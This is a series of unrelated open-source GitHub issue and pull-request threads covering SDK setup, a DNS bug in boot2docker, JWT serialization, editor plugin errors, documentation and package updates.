Fixes #2 - Framework Search Path Relative

Thanks for your run at this. I updated the package to be universal usable. For anybody coming across this PR, you can use the working package simply by doing the following until the changes are merged:

$ react-native install react-native-scandit@https://github.com/D1no/react-native-scandit.git
follow the documentation for android and ios respectively

PR Changes

Updates Framework Search-Path to be Relativ: $(SRCROOT)/../../../ios/ScanditSDK from /Users/BDC/Downloads/scandit-barcodescanner-community-ios_5.3.0BETA2/ScanditSDK
Updates Readme to be more precise about what is necessary to include scandit in iOS.
Tell people to also add "MediaPlayer.framework" to their react-native project
Tell people to allow access to camera in iOS
Fix Android double gradle reference
Add en explicit description of how to add Scandit to an Android React-Native Project.

Add Scandit SDK
iOS

Download Scandit SDK for iOS (https://ssl.scandit.com/sdk, Scandit account required) and uncompress the archive.
Copy the ScanditSDK folder to your ios/ folder. Note: This project assumes your ios project is under ios/ — if not, you need to change the relative Framework Header Search path in the SGScandit.xcodeproj manually.
Continue with the Scandit install documentation (which is at the time as follows):

Drag the ScanditBarcodeScanner.framework from your ios/ScanditSDK folder (Finder) inside xcode, into your projects Frameworks/ group. (If you don't have a Frameworks Group, create one via right click -> Create Group. Name it "Frameworks").
A Model Pops-Up asking how xcode should add this file. Check both "Copy Items when needed" & "Create Groups". Select your target (should be selected) & hit ok.
Drag the ScanditBarcodeScanner.bundle from inside the frameworks package (ios/ScanditSDK/ScanditBarcodeScanner.framework/Resources/ScanditBarcodeScanner.bundle) into the Frameworks group as well.
The result should look something like this:

Scandit requires additional native libraries. At a minimum libiconv.tbd, libz.tbd and MediaPlayer.framework (if it does not compile, check the scandit documentation for the others libraries/frameworks and add the ones you are missing). Add them by selecting your Project-Root in Xcode -> Select your Target and add them under Linked Frameworks and Libraries via the "+".
Scandit requires camera access. Make sure to add the "Privacy - Camera access" to your info.plist file in xcode (click "+" at the top and search for "Privacy - Camera..." via the auto complete. As a value, write a short description for what the camera will be used. For example "Camera is needed to scan barcode".
Don't forget: You can not use the Camera in the simulator. So you need to use a real device for testing (!).

Android

Download Scandit SDK for Android (https://ssl.scandit.com/sdk, Scandit account required) and uncompress the archive. The rest is in line with scandit android setup documentation by doing the following...
Create a folder named vendor inside of android/app/src/.
Place the ScanditSDK folder (the one containing the .aar file in its root) from the archive into android/app/src/vendor/ so that the path to the ScanditSDK is your-rn-project/android/app/src/vendor/ScanditSDK/ScanditBarcodeScanner.aar.
Add to the android/build.gradlefile the flatdir path $rootDir/app/src/vendor/ScanditSDK. Do that inside of the allprojects { repositories { section, so the final result looks something like this:

(..)
allprojects {
    repositories {
        mavenLocal()
        jcenter()
        // SCANDIT INSERT ----->
        flatDir {
            dirs "$rootDir/app/src/vendor/ScanditSDK"
        }
        // <----- SCANDIT INSERT END
        maven {
            // All of React Native (JS, Obj-C sources, Android binaries) is installed from npm
            url "$rootDir/../node_modules/react-native/android"
        }
    }
}

Go into your android/app/build.gradle und add to the dependencies section (located at the end of the gradle file) the line compile(name:'ScanditBarcodeScanner', ext:'aar') BEFORE the "compile project(':react-native-scandit')", so that your dependencies look something like this:

(..)
dependencies {
    // (..)
    compile(name:'ScanditBarcodeScanner', ext:'aar') // <--- INSERT BEFORE react-native-scandit compile statement
    compile project(':react-native-scandit')
    // (..)
    compile fileTree(dir: "libs", include: ["*.jar"])
    compile "com.android.support:appcompat-v7:23.0.1"
    compile "com.facebook.react:react-native:+"  // From node_modules
}
(..)

Scandit requires camera access. Make sure to add to your AndroidManifest.xml (under android/app/src/main/) the folliwng permission:

    <uses-permission android:name="android.permission.CAMERA"/>

Usage
import React, { Component } from 'react';
import { AppRegistry, StyleSheet, View, Text } from 'react-native';

import Scandit, { ScanditPicker, ScanditSDKVersion } from 'react-native-scandit';

Scandit.setAppKey('<YOUR SCANDIT APP KEY>');

export default class MyFirstScanditApp extends Component {
  render() {
    return (
      <View style={{ flex: 1 }}>
        <ScanditPicker
          ref={(scan) => { this.scanner = scan; }}
          style={{ flex: 1 }}
          settings={{
            enabledSymbologies: ['EAN13', 'EAN8', 'UPCE'],
            cameraFacingPreference: 'back'
          }}
          onCodeScan={(code) => {alert(code.data);}}
        />
      <Text>Using Scandit SDK {ScanditSDKVersion}</Text>
      </View>
    );
  }
}

AppRegistry.registerComponent('NAME_OF_RN_PROJECT', () => MyFirstScanditApp);

We published react-native-scandit now to npm & merge over time our internal progress into the following project: https://github.com/shoplinksys/react-native-scandit
The scandit barcode scanner is very essential to us. We added a "how to contribute" section: https://github.com/shoplinksys/react-native-scandit#contribution
Should Scandit release an official react-native version, we'll pass react-native-scandit on to them.
Best wishes from Berlin
Dino


API to retain images in device memory

I think I've said something about this before, but I can't find it.
Basically I have an autohiding desktop dock, and when it's hidden, I need to not render it. But not rendering it results in all the icons being unloaded from VRAM because they were not cache hits on that frame. I don't want them unloaded!
I've been using a terrible workaround of keeping the dock (a Container) always there but with Length::Units(0) when hidden.
Seems like the behavior of that is non-deterministic? Sometimes that rendered as zero width inside, but a tiny rectangle of padding was still there. Sometimes it was actually gone… but images were unloaded anyway (in that case.. or just sometimes).
(Though of course the apparent non-determinism might be in my code. Actually that's more likely than not.)
After looking at how the cache works, I've been able to add this:
diff --git a/wgpu/src/backend.rs b/wgpu/src/backend.rs
index 70865f1..09265f2 100644
--- a/wgpu/src/backend.rs
+++ b/wgpu/src/backend.rs
@@ -57,6 +57,16 @@ impl Backend {
         }
     }

+    /// XXXXXXXXXXXXX
+    pub fn retain_raster(&mut self, handle: &iced_native::image::Handle) {
+        self.image_pipeline.retain_raster(handle);
+    }
+
+    /// XXXXXXXXXXXXX
+    pub fn retain_vector(&mut self, handle: &iced_native::svg::Handle) {
+        self.image_pipeline.retain_vector(handle);
+    }
+
     /// Draws the provided primitives in the given `TextureView`.
     ///
     /// The text provided as overlay will be rendered on top of the primitives.
diff --git a/wgpu/src/image.rs b/wgpu/src/image.rs
index 5116ba1..a84b1cf 100644
--- a/wgpu/src/image.rs
+++ b/wgpu/src/image.rs
@@ -270,6 +270,16 @@ impl Pipeline {
         }
     }

+    pub fn retain_raster(&mut self, handle: &iced_native::image::Handle) {
+        let mut cache = self.raster_cache.borrow_mut();
+        let _ = cache.load(handle);
+    }
+
+    pub fn retain_vector(&mut self, handle: &iced_native::svg::Handle) {
+        let mut cache = self.vector_cache.borrow_mut();
+        let _ = cache.load(handle);
+    }
+
     #[cfg(feature = "image_rs")]
     pub fn dimensions(&self, handle: &image::Handle) -> (u32, u32) {
         let mut cache = self.raster_cache.borrow_mut();

and in my custom platform, call these based on what the "window" provides, every frame before draw.
This works fine for me, but I'm not sure what would have to be done to make this more generic.

Tangentially related to #549 — it's the to_bgra slowness that makes it easy to notice that images are not cached on the GPU :)

+1, as this has also bit me.
I guess we can split the problem into two separate concerns:

to_bgra is slow/expensive and we would like to do it ahead of time
Current atlas eviction policy is super aggressive

In #549 / #550 I was trying to solve the former problem, as I found that the texture upload on my system was very fast - milliseconds, so I didnt look into (2).
If we want to solve (2), another approach could be to simple implement one of the many more-effective eviction policies (2Q, LRU, etc).


Improve docs for save and save-all

This commit fixes a couple issues:

it doesn't use the name of the operation to describe it. This
helps searchability, as there are now two keywords in the text
("save" and "export");

it mentions that the output format is plain text. Commandline doc
already hinted at that via ".txt" extension, but I made it clear in
the text as well.

Inspired by #1210.
Comments are welcome! As usual, @der-lyse can merge this if he approves, or I'll merge this in three days myself.

Coverage remained the same at 57.17% when pulling 40ab04083491dba02db92f5166fca38b87ac0c34 on feature/improve-save-op-docs into d799e89038e18d4984e78ad32a2d96c5e32ac235 on master.

Thanks, @der-lyse!

Travis build failures were caused by rustup checksum error, which is now fixed: https://github.com/rust-lang/rustup/issues/2504#issuecomment-702749774 (And so the master branch is green now.)


VM created by init does not have DNS set up correctly

I tried using the current master with the latest boot2docker ISO but the networking is not being initialized correctly. I tried to pull down a docker image but was told the host could not resolve. When I added nameserver <IP_ADDRESS> to my /etc/resolv.conf I was able to connect.

I encountered what looks like this issue, but is possibly another — my Macbook's DNS resolver is <IP_ADDRESS>. boot2docker init was copying this value for the VM's /etc/resolv.conf.
If I manually edit the VM's resolv.conf to be:
nameserver <IP_ADDRESS>

Things start working. This IP is the same as DHCPIP from profile, and it provided by Virtualbox for guest DNS requests.

I encountered the same thing as @mcoms, where it used the IP of my router which broke the moment I switched networks:
docker@boot2docker:~$ cat /etc/resolv.conf
search home
nameserver <IP_ADDRESS>

I changed it to Google's Public DNS <IP_ADDRESS> which fixed it. Is there any way to use a better default or at least warn the user that a local IP is being used?

This issue happens for me when I'm running DNSCrypt from OpenDNS which proxies DNS requests encrypted. The nameserver is set on the mac when enabled to
nameserver <IP_ADDRESS>
But it isn't resolvable from inside the docker vm, obviously.

Confirming with 4.3.20 and 1.5.0

Confirming
Boot2Docker-cli version: v1.7.1
Docker version 1.7.1, build 786b29d

The workaround echo "nameserver <IP_ADDRESS>" > /etc/resolv.conf && sudo /etc/init.d/docker restart worked for me.

^ adding to that: Worked before I shut down my computer & went home. Probably unrelated but adding in case it helps. :)

The same problem, in boot2docker and just upgraded to docker-machine - still a problem.
docker-machine version 0.4.1 (e2c88d6)
Docker version 1.8.1, build d12ea79
Boot2Docker version 1.8.1
Btw in my case I got only first of 3 search domains, after I manually add the rest, things got better.

same problem on mine:
Boot2Docker-cli version: v1.5.0, Git commit: ccd9032
Docker version 1.8.1, build d12ea79
docker-machine version 0.4.1 (e2c88d6)

Same problem here:
OS X 10.9.5
docker-machine version 0.4.1 (e2c88d6)

When running ruby containers I kept running into this error:
Gem::RemoteFetcher::UnknownHostError: no such name

The temporary fix worked for me but as others have said it reverts to the original DNS after the virtual machine restarts. So I ended up just running this one liner after the VM boots.
$ docker-machine ssh MACHINE_NAME "echo 'nameserver <IP_ADDRESS>' > /etc/resolv.conf && sudo /etc/init.d/docker restart"

OS X 10.10.5
Docker version 1.8.1, build d12ea79
docker-machine version 0.4.1 (e2c88d6)

+1. When switch WiFi network, the boot2docker still remember old dns server which became invalid.
I have to docker-machine restart or change /etc/resolv.conf

It helped me to use the host's resolver:
VBoxManage modifyvm "VM name" --natdnshostresolver1 on
https://superuser.com/questions/641933/how-to-get-virtualbox-vms-to-use-hosts-dns/722670#722670

Any news?
Command:
$ docker-machine create --engine-opt dns=<IP_ADDRESS> --engine-opt dns=<IP_ADDRESS> test

skips engine-opt.

Sorry, this repository is long-since deprecated in favor of Docker Toolbox (whose usage is now also discouraged in favor of Docker for Windows and Docker for Mac).


Manual approval required for workflow run<PHONE_NUMBER>: Release t0rn refs/tags/v1.8.0-rc.0

Please approve runtime upgrade with github release t0rn v1.8.0-rc.0
Runtime upgrade dry run output:
💈 Script started at 1688632 block in t0rn chain

🐡 Running with dryrun flag!

🐙 checking out v1.8.0-rc.0...
✅ tag checked out

🔎 making sure runtime version got updated...
✅ runtime versions updated

🫧 check WASM artifact...
🔢 WASM blake2_256 hash: 0x6bba8b37d671482effcc852ac31ef94d721b5ef4d428209349716a8087644010
🔢 WASM blake2_256 hash fetched from release: 0x6bba8b37d671482effcc852ac31ef94d721b5ef4d428209349716a8087644010
✅ WASM blake2_256 hash is matching
⚙ set_code runtime upgrade... dry
✅ runtime upgrade executed... dry

Workflow is pending manual review.
URL: https://github.com/t3rn/t3rn/actions/runs/4629797710
Required approvers: [AwesomeIbex MaciejBaj]
Respond "approved", "approve", "lgtm", "yes" to continue workflow or "denied", "deny", "no" to cancel.

Workflow cancelled, closing issue.


JwtSecurityToken.EncodedPayload is having problems with my Deserialized JSON to plain object

This is a "It used to work" issue.  I have attached the code that shows the issue.
I want to be able to Deserialize a JSON into an object that I can add correctly to  a JwtPayload and get properly encoded by the JwtSecurityToken.
I can add a object to the payload.
var custom = new Custom{}
payload.Add("custom", custom);

I can add a dynamic to the payload.
dynamic ccDynamic = new
            {
                a="b",
                b=2,
                id_token_signing_alg_values_supported = new List<string>{
                        "RS256"
                },
                d = new {
                  name  = "bob"
                }
            };
payload.Add("ccDynamic", ccDynamic);

I can add an expando to the payload.
var converter = new ExpandoObjectConverter();
dynamic expando = JsonConvert.DeserializeObject<ExpandoObject>(json, converter);
payload.Add("expando", expando);

And these get encoded just fine in the final JWT.
I used to be able to deserialize a json to a dynamic or object and add that.
   var json = JsonConvert.SerializeObject(custom);
    var jObj = JsonConvert.DeserializeObject(json);
    dynamic jDynamic = JsonConvert.DeserializeObject<dynamic>(json);
    payload.Add("object", jObj);
    payload.Add("jDynamic", jDynamic);

However those Deserialized object now turn into the following.
JWT
{
  "nbf":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>,
  "iat":<PHONE_NUMBER>,
  "iss": "https://issuer.com/token",
  "aud": "my-audience",
  "object": {
    "Name": [],
    "Numbers": [
      [],
      [],
      []
    ],
    "Strings": [
      [],
      [],
      []
    ],
    "SomeObjects": [
      {
        "Name": []
      },
      {
        "Name": []
      }
    ],
    "SomeObject": {
      "Name": []
    }
  },
  "jDynamic": {
    "Name": [],
    "Numbers": [
      [],
      [],
      []
    ],
    "Strings": [
      [],
      [],
      []
    ],
    "SomeObjects": [
      {
        "Name": []
      },
      {
        "Name": []
      }
    ],
    "SomeObject": {
      "Name": []
    }
  },
  "ccDynamic": {
    "a": "b",
    "b": 2,
    "id_token_signing_alg_values_supported": [
      "RS256"
    ],
    "d": {
      "name": "bob"
    }
  },
  "custom": {
    "Name": "Bugs Bunny",
    "Numbers": [
      1,
      2,
      3
    ],
    "Strings": [
      "a",
      "bb",
      "ccc"
    ],
    "SomeObjects": [
      {
        "Name": "Daisy Duck"
      },
      {
        "Name": "Porky Pig"
      }
    ],
    "SomeObject": {
      "Name": "Daffy Duck"
    }
  },
  "expando": {
    "Name": "Bugs Bunny",
    "Numbers": [
      1,
      2,
      3
    ],
    "Strings": [
      "a",
      "bb",
      "ccc"
    ],
    "SomeObjects": [
      {
        "Name": "Daisy Duck"
      },
      {
        "Name": "Porky Pig"
      }
    ],
    "SomeObject": {
      "Name": "Daffy Duck"
    }
  }
}

CustomPayloadJwt.zip

btw: I first saw this in the following code.
var jsonValue = Newtonsoft.Json.Linq.JRaw.Parse(json);
payload.Add("jsonValue ", jsonValue );

The jsonValue here looks exactly like
 var jObj = JsonConvert.DeserializeObject(json);

the following in field code looks like it might be effected.
IdentityServer4 TokenExtension
Its doing a JRaw and puts that into the payload.

@ghstahl sorry for the hassle.
by "used to work" i assume you mean all the empty objects didn't exist.

the
"jDynamic": { currently bad}

looked like.
"expando": { all good here....}

Yes the payload should correctly parse that jDynamic and jObj object I pass in.  I don't know if that happens in JwtPayload or JwtSecurityToken.

@ghstahl do you know a version that this was working in?

Works with this version
<PackageReference Include="System.IdentityModel.Tokens.Jwt" Version="5.6.0" />

If you take my attached code and change it to this its good to go.
I checked all the 6.x.x versions and they all exhibit the problem.
6.6.0,6.5.1,6.5.0

@ghstahl that helps thanks.
I think I have an idea now.

@ghstahl we have an internal version of Newtonsoft, i haven't found the exact issue, but I believe the two are out of sync.
To test this out, I added the following code and this seems to have things in sync and everything seems right.
You could use this workaround while we figure out what to do.
JsonExtensions.Serializer = JsonConvert.SerializeObject;
JsonExtensions.Deserializer = JsonConvert.DeserializeObject;

eyJhbGciOiJFUzI1NiIsImtpZCI6IjEyMzQiLCJ0eXAiOiJKV1QifQ.eyJuYmYiOjE1OTI5NTY5ODMsImV4cCI6MTU5Mjk1ODc4MywiaWF0IjoxNTkyOTU2OTgzLCJpc3MiOiJodHRwczovL2lzc3Vlci5jb20vdG9rZW4iLCJhdWQiOiJteS1hdWRpZW5jZSIsIm9iamVjdCI6eyJOYW1lIjoiQnVncyBCdW5ueSIsIk51bWJlcnMiOlsxLDIsM10sIlN0cmluZ3MiOlsiYSIsImJiIiwiY2NjIl0sIlNvbWVPYmplY3RzIjpbeyJOYW1lIjoiRGFpc3kgRHVjayJ9LHsiTmFtZSI6IlBvcmt5IFBpZyJ9XSwiU29tZU9iamVjdCI6eyJOYW1lIjoiRGFmZnkgRHVjayJ9fSwiakR5bmFtaWMiOnsiTmFtZSI6IkJ1Z3MgQnVubnkiLCJOdW1iZXJzIjpbMSwyLDNdLCJTdHJpbmdzIjpbImEiLCJiYiIsImNjYyJdLCJTb21lT2JqZWN0cyI6W3siTmFtZSI6IkRhaXN5IER1Y2sifSx7Ik5hbWUiOiJQb3JreSBQaWcifV0sIlNvbWVPYmplY3QiOnsiTmFtZSI6IkRhZmZ5IER1Y2sifX0sImNjRHluYW1pYyI6eyJhIjoiYiIsImIiOjIsImlkX3Rva2VuX3NpZ25pbmdfYWxnX3ZhbHVlc19zdXBwb3J0ZWQiOlsiUlMyNTYiXSwiZCI6eyJuYW1lIjoiYm9iIn19LCJjdXN0b20iOnsiTmFtZSI6IkJ1Z3MgQnVubnkiLCJOdW1iZXJzIjpbMSwyLDNdLCJTdHJpbmdzIjpbImEiLCJiYiIsImNjYyJdLCJTb21lT2JqZWN0cyI6W3siTmFtZSI6IkRhaXN5IER1Y2sifSx7Ik5hbWUiOiJQb3JreSBQaWcifV0sIlNvbWVPYmplY3QiOnsiTmFtZSI6IkRhZmZ5IER1Y2sifX0sImV4cGFuZG8iOnsiTmFtZSI6IkJ1Z3MgQnVubnkiLCJOdW1iZXJzIjpbMSwyLDNdLCJTdHJpbmdzIjpbImEiLCJiYiIsImNjYyJdLCJTb21lT2JqZWN0cyI6W3siTmFtZSI6IkRhaXN5IER1Y2sifSx7Ik5hbWUiOiJQb3JreSBQaWcifV0sIlNvbWVPYmplY3QiOnsiTmFtZSI6IkRhZmZ5IER1Y2sifX19.BLAH
{
"nbf":<PHONE_NUMBER>,
"exp":<PHONE_NUMBER>,
"iat":<PHONE_NUMBER>,
"iss": "https://issuer.com/token",
"aud": "my-audience",
"object": {
"Name": "Bugs Bunny",
"Numbers": [
1,
2,
3
],
"Strings": [
"a",
"bb",
"ccc"
],
"SomeObjects": [
{
"Name": "Daisy Duck"
},
{
"Name": "Porky Pig"
}
],
"SomeObject": {
"Name": "Daffy Duck"
}
},
"jDynamic": {
"Name": "Bugs Bunny",
"Numbers": [
1,
2,
3
],
"Strings": [
"a",
"bb",
"ccc"
],
"SomeObjects": [
{
"Name": "Daisy Duck"
},
{
"Name": "Porky Pig"
}
],
"SomeObject": {
"Name": "Daffy Duck"
}
},
"ccDynamic": {
"a": "b",
"b": 2,
"id_token_signing_alg_values_supported": [
"RS256"
],
"d": {
"name": "bob"
}
},
"custom": {
"Name": "Bugs Bunny",
"Numbers": [
1,
2,
3
],
"Strings": [
"a",
"bb",
"ccc"
],
"SomeObjects": [
{
"Name": "Daisy Duck"
},
{
"Name": "Porky Pig"
}
],
"SomeObject": {
"Name": "Daffy Duck"
}
},
"expando": {
"Name": "Bugs Bunny",
"Numbers": [
1,
2,
3
],
"Strings": [
"a",
"bb",
"ccc"
],
"SomeObjects": [
{
"Name": "Daisy Duck"
},
{
"Name": "Porky Pig"
}
],
"SomeObject": {
"Name": "Daffy Duck"
}
}
}

@ghstahl this seems to be a broader issue.
Closing this and linking to #1475


Site to check in 0.9 SA viridian/G trees - something weird in C.1.2 at E21

Some messiness in C.1.2 in both G illumina

and V illumina with version 0.3.7

closing - trees are cleaner with refactor, and these issues have become noise. have added a label so can find again


Create community health files - Closes #112

This pull request adds six new files:

CODE_OF_CONDUCT.md: The code of conduct as recommended by GitHub. This code of conduct requires a possibility to contact the maintainers. I used the mail address from your profile page @fmarotta.
.github/CONTRIBUTING.md: This file contains information on how to contribute to the repository. It is linked from the "new issue" and "pull request" screens. There is not much content in it right now, but we can extend it going forward.
.github/FUNDING.yml: Contains the funding infos. You should check the "Sponsorships"-checkbox in the repository settings to activate the "Sponsor"-button.
.github/SUPPORT.md: Contains information on how to get support. It is linked from the "new issue" screen.
.github/ISSUE_TEMPLATE/bug_report.md and .github/ISSUE_TEMPLATE/feature_request.md are templates for bug reports and feature requests.

Thank you!


Route Scopes

Scopes are a way to group routes under a common path prefix and scoped set of plug middleware. We might want to do this for admin functionality, APIs, and especially for versioned APIs. Let's say we have user generated reviews on a site, and that those reviews first need to be approved by an admin. The semantics of these resources are quite different, and they might not share the same controller. Scopes enable us to segregate these routes.

Resolved with
https://github.com/Amber-Crystal/amber/pull/43
https://github.com/Amber-Crystal/amber/pull/40
https://github.com/Amber-Crystal/amber/pull/35


Open location with Nerdtree mirror : "NERDTree: No trees to mirror"

I use Nerd Tree with the option "autocmd BufWinEnter * NERDTreeMirror". In that case, when you open a new Tab, the NERDTree is automatically re-open.
But when I open the Location list (with :Errors), there is an error displayed :
NERDTree: No trees to mirror
Erreur détectée en traitant function 194[2]..195[4]..205 :
ligne    6 :
E788: L'édition d'un autre tampon n'est plus permise
Erreur détectée en traitant function 194[2]..195 :
ligne    4 :
E170: :endfor manquant
Erreur détectée en traitant function SyntasticErrors[1]..333 :
ligne    6 :
E171: :endif manquant

How could I remove this error which is displayed each time ?
Thanks
VIM - Vi IMproved 8.1 (Debian Buster)
Syntastic version: 3.10.0-22 (Vim 801, Linux, GUI)

I use Nerd Tree with the option "autocmd BufWinEnter * NERDTreeMirror".

You could try adding nested to your autocmd.  If that doesn't fix your problem though you might write it off as an unsupported configuration, sorry.  Interaction between autocmds has always been a mess, it has changed a few times in recent versions of Vim, and I have no resources left for trying to figure out what's going on this time.  Please consider using ALE instead: it's actively maintained, it takes advantage of Vim 8 features, and it's essentially the successor of syntastic.

I try nested and it doesn't work.
I'll check ALE.
I open an issue on NERDTree : #preservim/nerdtree/issues/1226
Thanks a lot


(SP:2) Implement "Get lessons" endpoint

Description:
The objective of this task is to implement the backend functionality for retrieving lessons through a new endpoint. This will involve setting up the route, controller, service layer, and tests, as well as updating the Swagger documentation to reflect the new endpoint's capabilities. The implementation should adhere to best practices in terms of security, performance, and code readability.
Requirements:

Route:

Create a new route in the application to handle GET requests for fetching lessons.

Service Layer:

Implement a service that will handle the business logic for retrieving lessons from the database.

Controller:

Develop a controller function to process incoming requests, validate query parameters, and return the appropriate response to the client. The controller should interact with the service layer to fetch the required data.

Tests:

Write tests to ensure the endpoint functions correctly under various scenarios. Tests should cover successful data retrieval, handling of invalid requests.

Swagger Documentation:

Update the Swagger docs to include the new "Get Lessons" endpoint, providing clear information on the request parameters, response structure, and status codes. Ensure the documentation accurately reflects the endpoint's functionality and any query parameters it supports.

Middleware Integration:

Utilize existing middleware for authentication and role-based access control. Ensure that the endpoint is accessible only to authorized roles, such as Tutors.

Error Handling:

Implement robust error handling to manage and respond to exceptions or validation errors, ensuring that the client receives meaningful error messages.

done


usability, team websites hard to find

Describe the Bug
When a user is member of a team but doesn't have any websites on their account themselves, the websites of the team are incredibly hard to find.
The Dashboard & Realtime shows "You do not have any websites configured."
To find the Team websites you need to go to Settings -> Teams -> View Team -> Websites -> View.
The Realtime view doesn't seem to work at all.
Database
PostgreSQL
Relevant log output
No response
Which browser are you using? (if relevant)
No response
How are you deploying your application? (if relevant)
No response

Agreed, we have plans to expose team websites throughout the entire app soon.

Fixed in v2.4.0. Teams websites now appear on the dashboard.


TowerObject may break for item-only objects

Title. Currently TowerObject assumes that self.item is not None implies self.properties is not None, but we have learned today that this is not only the case

Fixed in d62ddaf4c714cccbc1046d067618a48f03e3d510


Make cw-payroll-factory global instead of per-DAO

cw-payroll-factory currently has an owner that is the only address which may create payroll contracts via it. i propose that we allow any address to create a payroll instance using this factory.
this simplifies the frontend because we don't need every DAO to instantiate a payroll factory. it also simplifies upgrades, as if we deploy a new payroll contract the DAO DAO DAO can vote to update the code ID being used globally, instead of requiring every DAO to manually upgrade.
the disadvantage of this approach is that the ListVestingContractsByRecipient query becomes more easily spammable. frontends can still find all the payroll for a DAO though via ListVestingContractsByInstantiator so long as DAOs instantiate their own payroll contracts.

sweet! do you think it would be helpful to add a ListVestingContractsByInstantiatorAndRecipient?

Done.


Replace success gif with svg animation

This MR replaces the existing gif animation in src/components/images/success.ts with a custom SVG animation.
I tried to keep the colors and timing the same, and to my unskilled eye it looks almost identical

Before
components/images/success.ts: 222kB
Output size: 964kB

After
components/images/success.ts: 1.5kB
Output size: 748kB

Wow @hzrd149 , thanks very much for this!
Partially fixes https://github.com/getAlby/bitcoin-connect/issues/100

@hzrd149 how did you create this animation, out of interest?

CC @stackingsaunter

@hzrd149 how did you create this animation, out of interest?

Sketched it up in inkscape then went back to my good old friend the <animate/> tag :grin: https://developer.mozilla.org/en-US/docs/Web/SVG/Element/animate
The old svg animation tags kind of suck. but they have universal support and they are pretty small

Lovely!


[PROPOSAL] Add Sean Li as a Maintainer

Current maintainers voted to add Sean Li (@sejli) as a maintainer on this repository. @opensearch-project/admin, can you please add him to the maintainers in the collaborators list on the repo?
Thanks,
Mark

It looks like I already merged the PR 3 days ago (before the response from @dblock).

@sejli can you check your permissions on the repo? Can you assign issues, add/remove labels, etc.?

Still don't have permissions. (Checking to see if I can create a branch)

Added @sejli as the maintainer.
@macohen @msfroh The permission status is below:

I believe we need to clean up or update the maintainers/codeowners file. Let me know how to proceed.
Thanks!

Thanks for the quick response @gaiksaya! Updates have already been made to MAINTAINERS.md and .github/CODEOWNERS in #128. Are there any more action items?

anirudha is not in the maintainer or codeowner list so will be removing him. If there any concerns or this changes needs to be reverted let me know.
Thanks!

thanks, all! please close this if you've verified, @sejli? are you able to create/delete a branch now?

Closing since permissions have been granted and files have been updated.


Possibly unhandled rejection with ng 1.5.5

When using ui-router v-0.2.18 and angularjs v-1.5.5 I keep getting this error 4 times:

Possibly unhandled rejection: {}

I reversed angular to v-1.5.3 and the error is gone. Any ideas why? I didn't found anything related to this issue.
I also noticed this error shows up as soon as I insert the ui.router module.

Looks like this behavior came from this commit: https://github.com/angular/angular.js/commit/c9dffde1cb167660120753181cb6d01dc1d1b3d0
And they added an API method to disable that: https://docs.angularjs.org/api/ng/provider/$qProvider
I think the ui-router code may need to chain catch() off of various promises now 👎

Actually, that code doesn't seem to have landed in ng 1.5.5: https://github.com/angular/angular.js/blob/v1.5.5/src/ng/q.js
Are you sure you're using the released version of angular 1.5.5?

@christopherthielen I updated my files with bower and it said version 1.5.5 (both on the prompt and on the actual file) and i had to go back to 1.5.3 because of this error.

@celsomtrindade
I just fetched 1.5.5 final version from bower, and it doesn't have "Possibly unhandled rejection" in the angular.js file.
╭─ christhielen@lappy486  ~/t
╰─  rm -rf bower_components; bower install angular#1.5.5 > /dev/null && grep "Possibly unhandled" bower_components/angular/angular.js

The pre-release versions of 1.5.5 did seem to have the change to $q.
Pre-release build 1.5.5-build.4756+sha.165a862
╭─ christhielen@lappy486  ~/t
╰─  rm -rf bower_components; bower install angular#1.5.5-build.4756+sha.165a862 > /dev/null && grep "Possibly unhandled" bower_components/angular/angular.js
        var errorMessage = 'Possibly unhandled rejection: ' + toDebugString(toCheck.value);

I suspect if you re-fetch 1.5.5 it will not exhibit the error message.  Clear your bower cache (if that's a thing) first.


commitizen: 2.39.1 -> 2.41.0

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for commitizen is: Tool to create committing rules for projects, auto bump versions, and generate changelogs
meta.homepage for commitizen is: https://github.com/commitizen-tools/commitizen
meta.changelog for commitizen is: https://github.com/commitizen-tools/commitizen/blob/v2.40.0/CHANGELOG.md
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.40.0 with grep in /nix/store/xv21p3g7qswbvwvk4ck97qbdqwg4f5jg-commitizen-2.40.0
found 2.40.0 in filename of file in /nix/store/xv21p3g7qswbvwvk4ck97qbdqwg4f5jg-commitizen-2.40.0

Rebuild report (if merged into master) (click to expand)

1 total rebuild path(s)

1 package rebuild(s)

First fifty rebuilds by attrpath
commitizen

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/xv21p3g7qswbvwvk4ck97qbdqwg4f5jg-commitizen-2.40.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A commitizen https://github.com/r-ryantm/nixpkgs/archive/b30338f828546e8f2c758086f09456e5bbed7c71.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/xv21p3g7qswbvwvk4ck97qbdqwg4f5jg-commitizen-2.40.0
ls -la /nix/store/xv21p3g7qswbvwvk4ck97qbdqwg4f5jg-commitizen-2.40.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

commitizen

Maintainer pings
cc @lovesegfault @anthonyroussel for testing.

@ofborg build commitizen commitizen.passthru.tests

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for commitizen is: Tool to create committing rules for projects, auto bump versions, and generate changelogs
meta.homepage for commitizen is: https://github.com/commitizen-tools/commitizen
meta.changelog for commitizen is: https://github.com/commitizen-tools/commitizen/blob/v2.41.0/CHANGELOG.md
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.41.0 with grep in /nix/store/rip17597qyr5kcbr4za9mpz16s7sp3wy-commitizen-2.41.0
found 2.41.0 in filename of file in /nix/store/rip17597qyr5kcbr4za9mpz16s7sp3wy-commitizen-2.41.0

Rebuild report (if merged into master) (click to expand)

1 total rebuild path(s)

1 package rebuild(s)

